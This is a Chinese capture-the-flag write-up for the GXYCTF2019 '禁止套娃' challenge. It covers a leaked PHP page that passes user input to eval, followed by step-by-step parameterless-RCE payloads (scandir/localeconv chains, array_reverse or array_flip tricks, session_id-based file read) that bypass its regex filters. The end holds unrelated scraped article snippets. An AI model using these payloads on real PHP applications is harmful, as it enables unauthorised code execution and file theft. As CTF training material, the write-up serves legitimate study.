[GXYCTF2019]禁止套娃

1.扫描目录

扫描之后发现git泄漏

使用githack读取泄漏文件

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

2.构造bypass

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

先看这部分正则

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,get也过滤了。

我们要先看目录 使用scandir('.');但是不能出现一点,看看大佬wp

localeconv()函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一点

current()返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了

说明
current ( array &$array ) : mixed
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。 参数
array
这个数组。 返回值
current() 函数返回当前被内部指针指向的数组单元的值,并不移动指针。如果内部指针指向超出了单元列表的末端,current() 返回 FALSE。 Warning
此函数可能返回布尔值 FALSE,但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。
end() - 将数组的内部指针指向最后一个单元
key() - 从关联数组中取得键名
each() - 返回数组中当前的键/值对并将数组指针向前移动一步
prev() - 将数组的内部指针倒回一位
reset() - 将数组的内部指针指向第一个单元
next() - 将数组中的内部指针向前移动一位 <?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport); // $mode = 'foot';
$mode = end($transport); // $mode = 'plane';
$mode = current($transport); // $mode = 'plane'; $arr = array();
var_dump(current($arr)); // bool(false) $arr = array(array());
var_dump(current($arr)); // array(0) { }
?>
/index.php?exp=print_r(scandir(current(localeconv())));

得到

flag在哪里呢?
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

目标读取flag.php

经过测试

这种是不行的

/index.php?exp=highlight_file(next(next(next(scandir(current(localeconv()))))));
<?php
$a=array('a','b','c','d');
var_dump(next(next($a)));
?>
#结果Only variables should be passed by reference 返回NULL
array_reverse ( array $array [, bool $preserve_keys = FALSE ] ) : array
array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
array_flip() 交换数组的键和值
array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回

用这个函数构造

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

读取成功,或者

?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

可以随机读取文件,多刷新几次即可

当然也可以用show_source函数取代highlight_file

pos()取代current();#别名

3.其他解法(session_id()实现任意文件读取)

session_id(PHP 4, PHP 5, PHP 7)

session_id — 获取/设置当前会话 ID

说明
session_id ([ string $id ] ) : string
session_id() 可以用来获取/设置 当前会话 ID。 为了能够将会话 ID 很方便的附加到 URL 之后, 你可以使用常量 SID 获取以字符串格式表达的会话名称和 ID。 请参考 会话处理。 参数 id
如果指定了 id 参数的值, 则使用指定值作为会话 ID。 必须在调用 session_start() 函数之前调用 session_id() 函数。 不同的会话管理器对于会话 ID 中可以使用的字符有不同的限制。 例如文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 , (逗号)和 - (减号) Note: 如果使用 cookie 方式传送会话 ID,并且指定了 id 参数, 在调用 session_start() 之后都会向客户端发送新的 cookie, 无论当前的会话 ID 和新指定的会话 ID 是否相同。 返回值
session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。
session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:



任意文件读取

参考博客

https://blog.csdn.net/qq_42812036/article/details/104406481

https://www.freesion.com/article/1919383150/

https://blog.csdn.net/weixin_44348894/article/details/105568428?fps=1&locationNum=2

[GXYCTF2019]禁止套娃(无参RCE)的更多相关文章

  1. [GXYCTF2019]禁止套娃 1 &无参数RCE

    [GXYCTF2019]禁止套娃 1 啥都没有那只能上扫描器来一探究竟了. 扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403. <?php include "fla ...

  2. [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃

    [BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...

  3. 0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)

    阅读本文前建议先阅读本站中的另一篇文章:[GXYCTF2019]禁止套娃 重要参考链接:http://www.heetian.com/info/827 Leon师傅魔改了[GXYCTF2019]禁止套 ...

  4. [GXYCTF2019]禁止套娃

    0x00 知识点 无参数RCE eval($_GET['exp']); 参考链接: https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/ ...

  5. 刷题[GXYCTF2019]禁止套娃

    梳理思路 打开网站,发现很简单,只有flag在哪里的字样. 查看源码,常用后台目录,robots.txt,都未发现有任何东西. 扫描 直接拉进扫描器一扫,发现 思考可能是git源码泄露,可能可以恢复源 ...

  6. 浅谈无参数RCE

    0x00 前言 这几天做了几道无参数RCE的题目,这里来总结一下,以后忘了也方便再捡起来. 首先先来解释一下什么是无参数RCE: 形式: if(';' === preg_replace('/[^\W] ...

  7. 简单粗暴套娃模式组json发送https请求

    各位童鞋大家好,向来简单粗暴的铁柱兄给大家来玩一手套娃模式来组Json数据,不说别的,无脑套. 当然,这一手比较适合临场用一下,若长期用的话建议搞一套适用的框架,只管set就好了.话不多说开始上课. ...

  8. 终极套娃 2.0|云原生 PaaS 平台的可观测性实践分享

    某个周一上午,小涛像往常一样泡上一杯热咖啡 ️,准备打开项目协同开始新一天的工作,突然隔壁的小文喊道:"快看,用户支持群里炸锅了 -" 用户 A:"Git 服务有点问题, ...

  9. mybatis调用存储过程 无参、带有输入输出参数,输出游标类型的 存储

    存储过程在小公司用的不多,但是如果业务比较复杂或者性能要求比较苛刻的时候存储过程就派上用场了,ibatis的前期的一些版本貌似不支持存储过程因此我选择了mybatis来做实验. 1.无输入和输出参数的 ...

随机推荐

  1. 记 · ElemetnUI + Vue v-if 视图切换踩过的那些坑

    使用EleUI 做一个用户登录窗口,需要用v-if 动态切换三个表单:手机登录.账密登录和密码找回.其中需要实现一个重置表单的功能,但其间出了一些小bug.密码找回表单中有三个表单项,手机登录和账密登 ...

  2. C语言讲义——文件操作

    fopen( ) 函数:创建一个新的文件或者打开一个已有的文件 FILE *fopen( const char * filename, const char * mode ); 关于参数mode的取值 ...

  3. .net core3.1开始页面实时编译

    安装NuGet包 Install-Package Microsoft.AspNetCore.Mvc.Razor.RuntimeCompilation  startup.cs 中的ConfigureSe ...

  4. 02_启动和销毁Service

    在Application关闭后,Service仍然会运行. package com.example.servdemo; import android.app.Activity; import andr ...

  5. python数据更新

    def cal(s,m): if s==u"废弃" or s==u"拆除": return 4 elif s==u"竣工": return ...

  6. Python中import模块时报SyntaxError: (unicode error)utf-8 codec can not decode 错误的解决办法

    老猿有个通过UE编辑(其他文本编辑器一样有类似问题)的bmi.py文件,在Python Idle环境打开文件执行时没有问题,但import时报错: SyntaxError: (unicode erro ...

  7. Day5 【Scrum 冲刺博客】

    每日会议总结 昨天已完成的工作 方晓莹(PIPIYing) 搭建与后台对接的代理服务器 对接个人中心接口 方子茵(Laa-L):暂无 黄芯悦(Sheaxx) 完善投诉反馈页面 完善车位管理页面 舒雯钰 ...

  8. Python术语对照表

    >>> 交互式终端中默认的 Python 提示符.往往会显示于能以交互方式在解释器里执行的样例代码之前. ... 可以是指:交互式终端中输入特殊代码行时默认的 Python 提示符, ...

  9. AT2688 [ARC080C] Young Maids

    一道挺有意思的题目,在这里记录一下. 题目大意 给你一个长度为 \(n\) 的排列,每一次你可以取出相邻的两个数将其放在答案序列的开头,最后问你字典序最小的答案序列是什么. 题解 由于最后是求字典序最 ...

  10. 【科技】单 $\log$ 合并两棵有交集 FHQ-Treap 的方法

    维护可分裂 & 合并的可重集 考虑这样一个问题: 维护 \(n\) 个 可重集 \(S_1, S_2, \cdots, S_n\),元素值域为 \([1, U]\),初始集合为空.支持一下操作 ...